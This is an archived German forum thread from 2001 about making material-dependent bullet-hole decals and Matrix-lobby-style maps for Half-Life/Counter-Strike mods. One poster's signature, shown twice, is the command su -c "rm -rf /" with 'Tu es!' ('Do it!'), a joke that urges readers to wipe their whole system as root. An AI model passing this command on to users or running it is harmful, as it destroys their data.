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Autor Beitrag
000
21.03.2001, 12:33
Wilo



Hi Leute
ihr kennt doch die Scene, wo bei Matrix diese Halle "etwas" beschädigt wird. Könnte man solch coolen Einschussspirites (heißt das so?) auch machen?
Und kann man eigentlich für verschiedene Materialien/Texturen verschiedene Einschussspirites definieren?

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001
21.03.2001, 13:01
Linga
Administrator


sicher geht das. cstrike hatte in einer früheren beta auch mal materialanhängige einschuss-decals. (allgemein bekannt als offset texturen)
diese werden wohl änlich den texturabhängigen sounds definiert. wenn du bei der "matrix scene" von 3d mark 2001 sprichst so sei gesagt, dass diese dort 3d sind und keine sprites bzw. offset texturen sind.

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002
21.03.2001, 13:08
PIII 800 mhz



toll aber wen man ´den sprite 3d drehen lässt oder sonstiges wirkts aber 3d.Ich hab so eine geile explosion als sprite für cs gesehn die hat auch real gewirkt und 3d also müsste es auch gehn

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003
21.03.2001, 13:28
afrobnullsiebenelf



hey, wenn du interresse hast kann ich dir mal mein Matrix Level geben :) hab grad nix zu tun gehabt, da hab ich mal in der schnelle versucht daraus ein map zu machen.. grad von der scene wo die in die Bank laufen.... die map is aber ziehmlich einfach und nur für 1v1 :DD

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$> su -c "rm -rf /"
Tu es!

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004
21.03.2001, 14:28
SNIPER[SAD]



@AFROB0711: So ne Map hab ich auch mal gemacht, für ahl 1on1.

Ich hab an den Säulen einfach func_breakables - Fließen hin, die dann bei Beschuß kaputt gehen.

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005
21.03.2001, 14:39
afrobnullsiebenelf



so hab ichs auch gemacht :))

--

$> su -c "rm -rf /"
Tu es!

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006
21.03.2001, 22:46
Wilo



wer macht eigentlich spities? hat ein threat: "suche spiritmacher für mod" eigentlich einen sinn?

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007
21.03.2001, 23:18




ich würd sagen Sprites machen die selben leute, die auch innem mod für texturen zuständig sind...

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008
21.03.2001, 23:32
Wilo



hm, nen waffenskinner haben wir...

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